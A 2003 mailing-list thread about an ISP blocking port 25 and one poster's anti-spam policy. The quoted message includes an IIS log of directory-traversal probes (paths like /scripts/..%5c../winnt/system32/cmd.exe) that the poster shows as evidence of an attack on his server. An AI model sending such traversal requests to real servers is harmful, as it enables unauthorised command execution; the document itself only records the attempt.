I didn't say that you were a spammer.  What I meant was - ISPs have their own mail servers that sned/receive mail for their users.  However, spammers tend to bypass the ISPs mail servers and use software that connects directly with other email servers on the net to send SPAM.    Many ISPs are tired of getting complaints that their users are doingf this so they block port 25 to their clients except to conect to their email servers.
 
Regards,
 
Howie
----- Original Message -----
Sent: Wednesday, October 22, 2003 6:12 PM
Subject: Re: [iMS] POST Problems

I need to have a more specific definition of SPAM. To me SPAM is defined as bouncing email off of open relays,  and for that reason,  the source server can not be identified. UCE on the other hand, uses mail servers that identify were the email is coming from. We all know the negative impact SPAMMING and UCE have on the organizations in terms of illegal threats, relentless hackers, faxes and threatening phone calls.
 
DGo Pro's policy is to send all bulk email on a 100 % permission basis. ALL remove requests are honored within a reasonable amount of time (ASAP). Most importantly, SPAM and UCE have a reverse effect. If someone sends bulk email for promotional purposes to thoose that have not solicited it, the email negatively impacts the desired result. Instead of more sales of IMS software, for example, less sales result.
 
When UCE and SPAMMING become illegal, and someone starts pointing at a SPAMMER, we need to have a process to identify the SPAMMER. For example, check out the following IIS log showing a UNICODE hack into my IMS dev. server:
 
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2003-10-11 14:30:24
#Fields: time c-ip cs-method cs-uri-stem sc-status
15:18:12 66.176.103.202 GET /scripts/root.exe 404
15:18:13 66.176.103.202 GET /MSADC/root.exe 404
15:18:16 66.176.103.202 GET /c/winnt/system32/cmd.exe 404
15:18:18 66.176.103.202 GET /d/winnt/system32/cmd.exe 404
15:18:20 66.176.103.202 GET /scripts/..%5c../winnt/system32/cmd.exe 500
15:18:22 66.176.103.202 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe 500
15:18:23 66.176.103.202 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe 404
15:18:25 66.176.103.202 GET /msadc/..%5c../..%5c../..%5c/..�../..�../..�../winnt/system32/cmd.exe 500
15:18:27 66.176.103.202 GET /scripts/..�../winnt/system32/cmd.exe 500
15:18:29 66.176.103.202 GET /scripts/winnt/system32/cmd.exe 404
15:18:30 66.176.103.202 GET /winnt/system32/cmd.exe 404
15:18:32 66.176.103.202 GET /winnt/system32/cmd.exe 404
15:18:34 66.176.103.202 GET /scripts/..%5c../winnt/system32/cmd.exe 500
15:18:36 66.176.103.202 GET /scripts/..%5c../winnt/system32/cmd.exe 500
15:18:38 66.176.103.202 GET /scripts/..%5c../winnt/system32/cmd.exe 500
15:18:39 66.176.103.202 GET /scripts/..%2f../winnt/system32/cmd.exe 500
 
 
As quoted from "Hacking Exposed" third edition, "an attacker can escape the web root, and execute any command..... "  If anyone wants the counter measure, email me offline.
 
The point here is that 66.176.103.202 (if they are hacking, I would guess they are SPAMMERS ALSO )  could have used my machine to SPAM.
 
If someone is going to say I am a SPAMMER (not saying that you are) , I would appreciate the opportunity to defend myself. If Comcast has placed this filter on my IMS dev. machines because someone says I am a SPAMMER, the ethical thing to do is to investigate the incident first, then take appropriate filter action. Comcast has not contacted me before placing the filter on Sunday.
 
Regards,
DGo Pro & Consult

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